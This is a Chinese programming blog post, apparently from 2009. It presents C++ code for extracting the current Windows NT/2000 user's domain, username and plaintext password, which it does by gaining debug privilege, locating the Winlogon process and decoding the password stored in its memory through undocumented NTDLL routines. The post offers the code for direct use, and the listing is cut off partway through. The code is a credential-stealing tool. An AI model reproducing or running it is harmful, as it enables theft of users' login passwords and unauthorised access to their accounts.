龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 软件开发 > C/C++开发 >

获取WinNT/Win2k当前用户名和密码

时间:2009-12-22 15:42来源:未知 作者:admin 点击:
分享到:
本文所用的代码原创作者已不知.是ccrun的一个朋友磨刀老头提供给的,在此对作者表示感谢.经ccrun(老妖)在Win2k下试验成功. // 获取WinNT/Win2k当前用户名和密码,调用以下函数即可: // bo

  本文所用的代码原创作者已不知.是ccrun的一个朋友磨刀老头提供给的,在此对作者表示感谢.经ccrun(老妖)在Win2k下试验成功.

  

  

// 获取WinNT/Win2k当前用户名和密码,调用以下函数即可:

  

// bool GetPassWord(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)

  

//---------------------------------------------------------------------------

  

typedef strUCt _UNICODE_STRING

  

{

  

USHORT Length;

  

USHORT MaximumLength;

  

PWSTR Buffer;

  

}UNICODE_STRING, *PUNICODE_STRING;

  

typedef struct _QUERY_SYSTEM_INFORMATION

  

{

  

DWORD GrantedAccess;

  

DWORD PID;

  

WORD HandleType;

  

WORD HandleId;

  

DWORD Handle;

  

}QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;

  

typedef struct _PROCESS_INFO_HEADER

  

{

  

DWORD Count;

  

DWORD Unk04;

  

DWORD Unk08;

  

}PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;

  

typedef struct _PROCESS_INFO

  

{

  

DWORD LoadAddress;

  

DWORD Size;

  

DWORD Unk08;

  

DWORD Enumerator;

  

DWORD Unk10;

  

char Name [0x108];

  

}PROCESS_INFO, *PPROCESS_INFO;

  

typedef struct _ENCODED_PASSWORD_INFO

  

{

  

DWORD HashByte;

  

DWORD Unk04;

  

DWORD Unk08;

  

DWORD Unk0C;

  

FILETIME LoggedOn;

  

DWORD Unk18;

  

DWORD Unk1C;

  

DWORD Unk20;

  

DWORD Unk24;

  

DWORD Unk28;

  

UNICODE_STRING EncodedPassword;

  

}ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

  

  

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);

  

typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);

  

  

typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);

  

typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);

  

typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);

  

  

// Private Prototypes

  

BOOL IsWinNT(void);

  

BOOL IsWin2K(void);

  

BOOL AddDebugPrivilege(void);

  

DWORD FindWinLogon(void);

  

BOOL LocatePasswordPageWinNT(DWORD, PDWORD);

  

BOOL LocatePasswordPageWin2K(DWORD, PDWORD);

  

void ReturnWinNTPwd(String &, String &, String &);

  

void ReturnWin2kPwd(String &, String &, String &);

  

bool GetPassword(String &, String &, String &);

  

  

// Global Variables

  

PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;

  

PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;

  

PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;

  

PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;

  

PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;

  

  

DWORD dwPwdLen = 0;

  

PVOID pvRealPwd = NULL;

  

PVOID pvPwd = NULL;

  

DWORD dwHashByte = 0;

  

wchar_t wszUserName[0x400];

  

wchar_t wszUserDomain[0x400];

  

//---------------------------------------------------------------------------

  

bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)

  

{

  

if(!IsWinNT() && !IsWin2K())

  

{

  

// 只适合于2000或者XP

  

return false;

  

}

  

// Add debug privilege to PasswordReminder -

  

// this is needed for the search for Winlogon.

  

if(!AddDebugPrivilege())

  

{

  

// 不能够添加debug特权

  

return false;

  

}

  

// debug特权已经成功加入到本程序

  

HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");

  

  

pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)

  

GetProcAddress(hNtDll,"NtQuerySystemInformation");

  

pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)

  

GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer");

  

pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION)

  

GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation");

  

pfnRtlDe

  

精彩图集

赞助商链接